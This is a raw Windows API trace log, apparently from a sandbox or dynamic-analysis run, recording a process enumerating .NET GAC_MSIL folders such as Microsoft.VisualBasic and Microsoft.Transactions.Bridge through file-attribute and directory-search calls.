	[0088.641] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.v4.0.Framework" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.v4.0.framework"), fInfoLevelId=0x0, lpFileInformation=0x12492238 | out: lpFileInformation=0x12492238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf705b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf705b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf705b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.642] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.v4.0.Framework" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.v4.0.framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.642] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.v4.0.Framework\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf705b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf705b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf705b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.642] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf705b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf705b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf705b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.642] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38572a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd38572a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd38572a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_10~1.0__")) returned 1
	[0088.642] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.642] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.642] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.v4.0.Framework\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.v4.0.framework\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x124922d8 | out: lpFileInformation=0x124922d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38572a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd38572a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd38572a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.642] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.v4.0.Framework\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.v4.0.framework\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.642] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.v4.0.Framework\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38572a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd38572a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd38572a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.642] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38572a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd38572a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd38572a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.642] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38572a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd38572a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd38572a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x6b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.v4.0.Framework.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.642] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.643] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.643] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.v4.0.Framework\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\Microsoft.Office.Tools.v4.0.Framework.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.v4.0.framework\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\microsoft.office.tools.v4.0.framework.dll"), fInfoLevelId=0x0, lpFileInformation=0x12492378 | out: lpFileInformation=0x12492378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38572a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd38572a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd38572a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x6b88)) returned 1
	[0088.643] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Transactions.Bridge" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.transactions.bridge"), fInfoLevelId=0x0, lpFileInformation=0x124923c8 | out: lpFileInformation=0x124923c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93e661c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93e661c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93e661c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.643] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Transactions.Bridge" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.transactions.bridge"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.643] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Transactions.Bridge\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93e661c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93e661c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93e661c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.643] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93e661c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93e661c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93e661c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.643] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93e40060, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cd3fda0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cd3fda0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.643] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.643] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.643] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Transactions.Bridge\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.transactions.bridge\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12492468 | out: lpFileInformation=0x12492468*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93e40060, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cd3fda0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cd3fda0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.644] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Transactions.Bridge\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.transactions.bridge\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.644] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Transactions.Bridge\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93e40060, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cd3fda0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cd3fda0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.644] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93e40060, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cd3fda0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cd3fda0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.644] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cd3fda0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x61908, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Transactions.Bridge.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.644] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.644] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.644] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Transactions.Bridge\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\Microsoft.Transactions.Bridge.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.transactions.bridge\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\microsoft.transactions.bridge.dll"), fInfoLevelId=0x0, lpFileInformation=0x12492508 | out: lpFileInformation=0x12492508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cd3fda0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x61908)) returned 1
	[0088.646] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualbasic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.646] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934222e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x934222e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x934222e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.646] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934222e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x934222e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x934222e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.646] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x933fc180, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cfc7500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cfc7500, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_10~1.0__")) returned 1
	[0088.646] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.647] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.647] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualbasic\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.647] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x933fc180, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cfc7500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cfc7500, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.647] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x933fc180, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cfc7500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cfc7500, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.647] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cfc7500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x9c6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.647] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.647] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.648] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Compatibility" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualbasic.compatibility"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.648] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Compatibility\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d81980, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93d81980, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93d81980, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.648] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d81980, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93d81980, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93d81980, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.648] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d81980, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cf7b240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cf7b240, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_10.0.0.0__b03f5f7f11d50a3a", cAlternateFileName="V40_10~1.0__")) returned 1
	[0088.648] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.648] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.648] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Compatibility\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.visualbasic.compatibility\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.649] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.VisualBasic.Compatibility\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d81980, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cf7b240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cf7b240, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.649] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d81980, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cf7b240, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cf7b240, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
